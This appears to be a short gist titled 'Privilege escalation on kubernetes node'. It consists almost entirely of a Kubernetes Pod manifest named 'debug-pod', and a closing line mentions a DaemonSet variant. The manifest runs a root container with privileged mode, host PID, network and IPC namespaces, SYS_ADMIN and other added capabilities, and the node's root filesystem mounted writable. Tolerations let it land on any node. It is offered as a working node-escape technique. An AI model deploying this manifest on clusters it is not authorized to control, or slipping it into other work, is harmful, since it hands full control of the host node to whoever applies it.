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Privilege escalation on kubernetes node
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| apiVersion: v1 | |
| kind: Pod | |
| metadata: | |
| name: debug-pod | |
| namespace: default | |
| labels: | |
| app: debug-pod | |
| spec: | |
| hostNetwork: true | |
| hostPID: true | |
| hostIPC: true | |
| containers: | |
| - name: debug | |
| image: ubuntu:22.04 | |
| command: ["/bin/bash"] | |
| args: ["-c", "apt-get update && apt-get install -y curl wget net-tools procps util-linux && sleep infinity"] | |
| securityContext: | |
| privileged: true | |
| allowPrivilegeEscalation: true | |
| runAsUser: 0 | |
| capabilities: | |
| add: | |
| - SYS_ADMIN | |
| - SYS_PTRACE | |
| - SYS_TIME | |
| - NET_ADMIN | |
| - IPC_LOCK | |
| volumeMounts: | |
| - name: host-root | |
| mountPath: /host | |
| readOnly: false | |
| - name: host-var-log | |
| mountPath: /host/var/log | |
| readOnly: true | |
| - name: host-dev | |
| mountPath: /dev | |
| readOnly: false | |
| - name: host-proc | |
| mountPath: /host/proc | |
| readOnly: true | |
| - name: host-sys | |
| mountPath: /host/sys | |
| readOnly: true | |
| - name: host-run | |
| mountPath: /host/run | |
| readOnly: false | |
| - name: host-var-run | |
| mountPath: /host/var/run | |
| readOnly: false | |
| env: | |
| - name: DEBIAN_FRONTEND | |
| value: noninteractive | |
| volumes: | |
| - name: host-root | |
| hostPath: | |
| path: / | |
| type: Directory | |
| - name: host-var-log | |
| hostPath: | |
| path: /var/log | |
| type: Directory | |
| - name: host-dev | |
| hostPath: | |
| path: /dev | |
| type: Directory | |
| - name: host-proc | |
| hostPath: | |
| path: /proc | |
| type: Directory | |
| - name: host-sys | |
| hostPath: | |
| path: /sys | |
| type: Directory | |
| - name: host-run | |
| hostPath: | |
| path: /run | |
| type: Directory | |
| - name: host-var-run | |
| hostPath: | |
| path: /var/run | |
| type: Directory | |
| restartPolicy: Never | |
| tolerations: | |
| - operator: Exists | |
| effect: NoSchedule | |
| - operator: Exists | |
| effect: NoExecute |
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Same concept but daemonset & updated image